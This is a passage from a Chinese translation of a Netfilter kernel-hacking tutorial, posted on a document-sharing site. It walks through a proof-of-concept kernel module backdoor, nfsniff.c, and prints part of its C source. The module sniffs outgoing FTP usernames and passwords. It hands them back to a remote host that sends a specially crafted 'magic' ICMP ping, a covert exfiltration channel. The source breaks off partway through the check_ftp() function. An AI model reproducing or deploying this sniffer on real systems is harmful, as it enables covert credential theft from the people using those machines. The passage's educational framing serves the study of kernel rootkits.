45、且最妙的是,沒有網(wǎng)絡(luò)套接字被打開。 - 上面描述的數(shù)據(jù)包跳躍用于與網(wǎng)絡(luò)中的關(guān)鍵系統(tǒng)以半隱蔽方式通信。例如:配置路由器等。 - FTP/POP3/Telnet密碼嗅探器。嗅探輸出的密碼并保存相關(guān)信息,直到進(jìn)入的“魔法”數(shù)據(jù)包要求獲取它們。 以上只是一些想法的簡短的列表,其中最后一個想法是我們在接下來的一節(jié)中將要真正詳細(xì)討論的。它提供了一個很好的了解更多的深藏于核心網(wǎng)絡(luò)代碼中的函數(shù)的機(jī)會。 5.2 - 基于內(nèi)核的FTP密碼嗅探器 在這里展現(xiàn)的是一個簡單的,原理性的,用做Netfilter后門的模塊。該模塊嗅探輸出的FTP數(shù)據(jù)包,查找對于一個FTP服務(wù)器一個USER于PASS命令對。當(dāng)這樣一個命令對

46、被發(fā)現(xiàn)后,該模塊接下來將等待一個“魔法”ICMP ECHO(ping)數(shù)據(jù)包,該數(shù)據(jù)包應(yīng)當(dāng)足夠大,使其能返回服務(wù)器的IP地址、用戶名以及密碼。同時提供了一個快速的發(fā)送一個“魔法”數(shù)據(jù)包,獲取返回然后打印返回信息的技巧。一旦用戶名/密碼對從模塊讀取后,模塊將接著查找下一對。注意,模塊每次只保存一個對。以上是簡要的瀏覽,是該展示更多的細(xì)節(jié),來看模塊如何做到這些的時候了。 當(dāng)模塊加載時,模塊的init_module()函數(shù)簡單的注冊了兩個Netfilter hook。第一個用于查看輸入的數(shù)據(jù)包(在NF_IP_PRE_ROUTING處),嘗試發(fā)現(xiàn)“魔法”ICMP數(shù)據(jù)包。接下來的一個用于查看離開該模塊被

47、安裝的主機(jī)的數(shù)據(jù)包(在NF_IP_POST_ROUTING處),這個函數(shù)正是搜索和捕獲FTP的USER和PASS數(shù)據(jù)包的地方。cleanup_module()函數(shù)只是簡單的注銷這兩個hook。 watch_out()是用于hook NF_IP_POST_ROUTING的函數(shù),查看這個函數(shù)你可以看到,它的執(zhí)行的操作非常簡單。當(dāng)一個數(shù)據(jù)包進(jìn)入這個函數(shù)過后,將經(jīng)過各種檢查,以確定它是一個FTP數(shù)據(jù)包。如果它不是一個FTP數(shù)據(jù)包,那么立即返回NF_ACCEPT。如果它是一個FTP數(shù)據(jù)包,那么該模塊進(jìn)行檢查是否已經(jīng)存在一個用戶名/密碼對。如果存在(以have_pair的非零值標(biāo)識),那么返回NF_ACC

48、EPT,該數(shù)據(jù)包最終能夠離開該系統(tǒng)。否則,check_ftp()函數(shù)被調(diào)用,這是密碼提取實(shí)際發(fā)生的地方。如果沒有先前的數(shù)據(jù)包已經(jīng)被接收,那么target_ip和target_port變量應(yīng)當(dāng)被清除。 check_ftp()開始于從數(shù)據(jù)包的開始查找USER,PASS或QUIT。注意直到USER命令處理之后才處理PASS命令。這樣做的目的是為了防止在某些情況下PASS命令先于USER命令被接收到以及在USER到達(dá)之前連接中斷而導(dǎo)致的死鎖的發(fā)生。同樣,如果QUIT命令到達(dá)時僅有用戶名被捕獲,那么將重置操作,開始嗅探一個新的連接。當(dāng)一個USER或者PASS命令到達(dá)時,如果必要完整性校驗通過,則記錄下命

49、令的參數(shù)。正常運(yùn)行下,在check_ftp()函數(shù)完成之前,檢查是否已經(jīng)有了一個有效的用戶名和密碼串。如果是,則設(shè)置have_pair的值為非零并且在當(dāng)前的用戶名/密碼對被獲取之前不會再抓取其它的用戶名或密碼。 到目前為止你已經(jīng)看到了該模塊如何安裝它自己以及如何開始搜尋待記錄的用戶名和密碼。接下來你將看到當(dāng)指定的“魔法”數(shù)據(jù)包到達(dá)時會發(fā)生什么。在此需特別注意,因為這是在整個開發(fā)過程中出現(xiàn)的最大難題。如果我沒記錯的話,共遭遇了16個核心錯誤:)。當(dāng)數(shù)據(jù)包進(jìn)安裝該模塊的主機(jī)時,watch_in()檢查每一個數(shù)據(jù)包以查看其是否是一個“魔法”數(shù)據(jù)包。如果數(shù)據(jù)包不能提供足以證明它是一個“魔法”數(shù)據(jù)包的信

50、息,那么它將被被watch_in()忽略,簡單的返回一個NF_ACCEPT。注意“魔法”數(shù)據(jù)包的標(biāo)準(zhǔn)之一是它們必須有足夠的空間來存放IP地址以及用戶名和密碼串。這使得發(fā)送應(yīng)答更加容易。當(dāng)然,可以重新分配一個新的sk_buff,但是正確的獲取所有必要的域得值可能會比較困難,并且你還必須得正確的獲取它們!因此,與其為我們的應(yīng)答數(shù)據(jù)包創(chuàng)建一個新的數(shù)據(jù)結(jié)構(gòu),不如簡單的調(diào)整請求數(shù)據(jù)包的數(shù)據(jù)結(jié)構(gòu)。為了成功的返回數(shù)據(jù)包,需要做幾個改動。首先,交換IP地址,并且sk_buff數(shù)據(jù)結(jié)構(gòu)中描述數(shù)據(jù)包類型的域(pkt_type)應(yīng)當(dāng)被換成PACKET_OUTGOING,這些宏在linux/if_packet.h中定

51、義。接下來應(yīng)當(dāng)小心的是確定包含了任意的鏈路層頭。我們接收到的數(shù)據(jù)包的sk_buff數(shù)據(jù)結(jié)構(gòu)的數(shù)據(jù)域指向鏈路層頭之后,并且它是指向被發(fā)送的數(shù)據(jù)包的數(shù)據(jù)的開始的數(shù)據(jù)域。那么對于需要鏈路層包頭(以太網(wǎng)及環(huán)回和點(diǎn)對點(diǎn)的raw)的接口,我們將數(shù)據(jù)域指向mac.ethernet或者mac.raw結(jié)構(gòu)。為確定這個數(shù)據(jù)包來自的什么類型的接口你可以查看sb-dev-type的值,其中sb是一個指向sk_buff數(shù)據(jù)結(jié)構(gòu)的指針。這個域的有效值可以在linux/if_arp.h中找到,但其中最有用的幾個在下面的表3中列出。 表3 : 接口類型的常用值類型代碼 接口類型ARPHRD_ETHER 以太網(wǎng)ARPHRD_L

52、OOPBACK 環(huán)回設(shè)備ARPHRD_PPP 點(diǎn)對點(diǎn)(例如撥號) 最后,我們要做的是真正的復(fù)制我們想在的應(yīng)答中送出的數(shù)據(jù)。到送出數(shù)據(jù)包的時候了,dev_queue_xmit()函數(shù)以一個指向sk_buff數(shù)據(jù)結(jié)構(gòu)的指針作為它唯一的參數(shù),在“好的錯誤”情況下,返回一個負(fù)的錯誤代碼。我所說的“好的錯誤”是什么意思呢?如果你給函數(shù)dev_queue_xmit()一個錯誤構(gòu)造的套接字緩沖,那么你就會得到一個伴隨著內(nèi)核錯誤和內(nèi)核堆棧的dump信息的“不太好的錯誤”??纯丛谶@里錯誤如何能被分成兩組?最后,watch_in()返回NF_STOLEN,以告訴Netfilter忘掉它曾經(jīng)見到過這個數(shù)據(jù)包。如果你

53、已經(jīng)調(diào)用了dev_queue_xmit(),不要返回NF_DROP!這是因為dev_queue_xmit()將釋放傳遞進(jìn)來的套接字緩沖,而Netfilter會嘗試對被NF_DROP的數(shù)據(jù)包做同樣的操作。好了。對于代碼的討論已經(jīng)足夠了,請看具體的代碼。 5.2.1 - 源代碼 : nfsniff.c nfsniff/nfsniff.c/* Simple proof-of-concept for kernel-based FTP password sniffer.* A captured Username and Password pair are sent to a remote host* w

54、hen that host sends a specially formatted ICMP packet. Here we* shall use an ICMP_ECHO packet whose code field is set to 0 x5B* *AND* the packet has enough* space after the headers to fit a 4-byte IP address and the* username and password fields which are a max. of 15 characters* each plus a NULL by

55、te. So a total ICMP payload size of 36 bytes. */* Written by bioforge, March 2003 */#define MODULE#define _KERNEL_#include #include #include #include #include #include #include #include #include #include #include #include #include #define MAGIC_CODE 0 x5B#define REPLY_SIZE 36#define ICMP_PAYLOAD_SIZ

56、E (htons(sb-nh.iph-tot_len) - sizeof(struct iphdr) - sizeof(struct icmphdr)/* THESE values are used to keep the USERname and PASSword until* they are queried. Only one USER/PASS pair will be held at one* time and will be cleared once queried. */static char *username = NULL;static char *password = NU

57、LL;static int have_pair = 0; /* Marks if we already have a pair */* Tracking information. Only log USER and PASS commands that go to the* same IP address and TCP port. */static unsigned int target_ip = 0;static unsigned short target_port = 0;/* Used to describe our Netfilter hooks */struct nf_hook_o

58、ps pre_hook; /* Incoming */struct nf_hook_ops post_hook; /* Outgoing */* Function that looks at an sk_buff that is known to be an FTP packet.* Looks for the USER and PASS fields and makes sure they both come from* the one host as indicated in the target_xxx fields */static void check_ftp(struct sk_b

59、uff *skb) struct tcphdr *tcp; char *data; int len = 0; int i = 0; tcp = (struct tcphdr *)(skb-data + (skb-nh.iph-ihl * 4); data = (char *)(int)tcp + (int)(tcp-doff * 4); /* Now, if we have a username already, then we have a target_ip. * Make sure that this packet is destined for the same host. */ if

60、 (username) if (skb-nh.iph-daddr != target_ip | tcp-source != target_port) return; /* Now try to see if this is a USER or PASS packet */ if (strncmp(data, USER , 5) = 0) /* Username */ data += 5; if (username) return; while (*(data + i) != r & *(data + i) != n & *(data + i) != 0 & i 15) len+; i+; if

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論